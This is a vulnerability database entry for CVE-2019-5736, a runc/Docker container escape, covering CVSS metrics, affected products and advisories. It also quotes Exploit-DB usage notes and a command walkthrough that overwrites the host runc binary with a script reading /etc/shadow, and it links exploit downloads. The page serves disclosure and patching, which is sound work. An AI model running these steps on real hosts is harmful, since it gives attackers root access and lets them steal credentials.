CVE-2019-5736 : Detail

CVE-2019-5736

8.6
/
High
OS Command Injection
A03-Injection
0.38%V3
Local
2019-02-10
23h00 +00:00
2024-02-02
11h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.6 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46359

Publication date : 2019-02-11 23h00 +00:00
Author : feexd
EDB Verified : No

# Usage Edit HOST inside `payload.c`, compile with `make`. Start `nc` and run `pwn.sh` inside the container. # Notes - This exploit is destructive: it'll overwrite `/usr/bin/docker-runc` binary *on the host* with the payload. It'll also overwrite `/bin/sh` inside the container. - Tested only on Debian 9. - No attempts were made to make it stable or reliable, it's only tested to work when a `docker exec <id> /bin/sh` is issued on the host. More complete explanation [here](https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d). Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46359.zip
Exploit Database EDB-ID : 46369

Publication date : 2019-02-12 23h00 +00:00
Author : embargo
EDB Verified : No

## CVE-2019-5736 ## This is exploit code for CVE-2019-5736 (and it works for both runc and LXC). The simplest way to use it is to copy the exploit code into an existing container, and run `make.sh`. However, you could just as easily create a bad image and run that. ```console % docker run --rm --name pwnme -dit ubuntu:18.10 bash pwnme % docker cp CVE-2019-5736.tar pwnme:/CVE-2019-5736.tar ``` We need to install `gcc` to build the exploit, and `runc` because we need to have the shared libraries that `runc` would use. We don't actually use the `runc` binary itself. For LXC, you would install `lxc` instead of `runc`. ```console % docker attach pwnme # apt-get update && apt-get install -y gcc runc [ snip ] # tar xf CVE-2019-5736.tar # ./CVE-2019-5736/make.sh ``` And now, `/bin/bash` in the container will be able to **overwrite the host runc binary**. Since this binary is often executed by `root`, this allows for root-level code execution on the host. ``` % docker exec -it pwnme /bin/bash [+] bad_libseccomp.so booted. [+] opened ro /proc/self/exe <3>. [+] constructed fdpath </proc/self/fd/3> [+] bad_init is ready -- see </tmp/bad_init_log> for logs. [*] dying to allow /proc/self/exe to be unused... % cat /usr/sbin/docker-runc #!/bin/bash touch /w00t_w00t ; cat /etc/shadow ``` And now if you try to use Docker normally, the malicious script will execute with root privileges: ``` % docker exec -it pwnme /bin/good_bash OCI runtime state failed: invalid character 'b' looking for beginning of value: unknown % file /w00t_w00t /w00t_w00t: empty ``` And obviously `make.sh` can be modified to make the evil path anything you like. If you want to get access to the container, use `/bin/good_bash`. ### License ### ``` Copyright (C) 2019 Aleksa Sarai <[email protected]> Vulnerability discovered by Adam Iwaniuk and Borys Popławski. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46369.zip

Products Mentioned

Configuraton 0

Docker>>Docker >> Version To (excluding) 18.09.2

Configuraton 0

Linuxfoundation>>Runc >> Version To (including) 0.1.1

Linuxfoundation>>Runc >> Version 1.0.0

Linuxfoundation>>Runc >> Version 1.0.0

Linuxfoundation>>Runc >> Version 1.0.0

Linuxfoundation>>Runc >> Version 1.0.0

Linuxfoundation>>Runc >> Version 1.0.0

Linuxfoundation>>Runc >> Version 1.0.0

Configuraton 0

Redhat>>Container_development_kit >> Version 3.7

Redhat>>Openshift >> Version 3.4

Redhat>>Openshift >> Version 3.5

Redhat>>Openshift >> Version 3.6

Redhat>>Openshift >> Version 3.7

Redhat>>Enterprise_linux >> Version 8.0

Redhat>>Enterprise_linux_server >> Version 7.0

Configuraton 0

Google>>Kubernetes_engine >> Version -

Configuraton 0

Linuxcontainers>>Lxc >> Version To (excluding) 3.2.0

Configuraton 0

Hp>>Onesphere >> Version -

Configuraton 0

Netapp>>Hci_management_node >> Version -

Netapp>>Solidfire >> Version -

Configuraton 0

Apache>>Mesos >> Version From (including) 1.4.0 To (excluding) 1.4.3

Apache>>Mesos >> Version From (including) 1.5.0 To (excluding) 1.5.3

Apache>>Mesos >> Version From (including) 1.6.0 To (excluding) 1.6.2

Apache>>Mesos >> Version From (including) 1.7.0 To (excluding) 1.7.2

Configuraton 0

Opensuse>>Backports_sle >> Version 15.0

Opensuse>>Backports_sle >> Version 15.0

Opensuse>>Leap >> Version 15.0

Opensuse>>Leap >> Version 15.1

Opensuse>>Leap >> Version 42.3

Configuraton 0

D2iq>>Kubernetes_engine >> Version To (excluding) 2.2.0-1.13.3

D2iq>>Dc\/os >> Version To (excluding) 1.10.10

D2iq>>Dc\/os >> Version From (including) 1.10.11 To (excluding) 1.11.9

D2iq>>Dc\/os >> Version From (including) 1.11.10 To (excluding) 1.12.1

Configuraton 0

Fedoraproject>>Fedora >> Version 29

Fedoraproject>>Fedora >> Version 30

Configuraton 0

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

Canonical>>Ubuntu_linux >> Version 19.04

Configuraton 0

Microfocus>>Service_management_automation >> Version 2018.02

Microfocus>>Service_management_automation >> Version 2018.05

Microfocus>>Service_management_automation >> Version 2018.08

Microfocus>>Service_management_automation >> Version 2018.11

References

https://github.com/rancher/runc-cve
Tags : Third Party Advisory
https://github.com/docker/docker-ce/releases/tag/v18.09.2
Tags : Release Notes, Third Party Advisory
https://github.com/q3k/cve-2019-5736-poc
Tags : Exploit, Third Party Advisory
https://www.openwall.com/lists/oss-security/2019/02/11/2
Tags : Mailing List, Patch, Third Party Advisory
https://github.com/Frichetten/CVE-2019-5736-PoC
Tags : Exploit, Third Party Advisory
https://brauner.github.io/2019/02/12/privileged-containers.html
Tags : Exploit, Technical Description, Third Party Advisory
https://bugzilla.suse.com/show_bug.cgi?id=1121967
Tags : Issue Tracking, Patch, Third Party Advisory
https://azure.microsoft.com/en-us/updates/iot-edge-fix-cve-2019-5736/
Tags : Patch, Third Party Advisory, Vendor Advisory
https://usn.ubuntu.com/4048-1/
Tags : vendor-advisory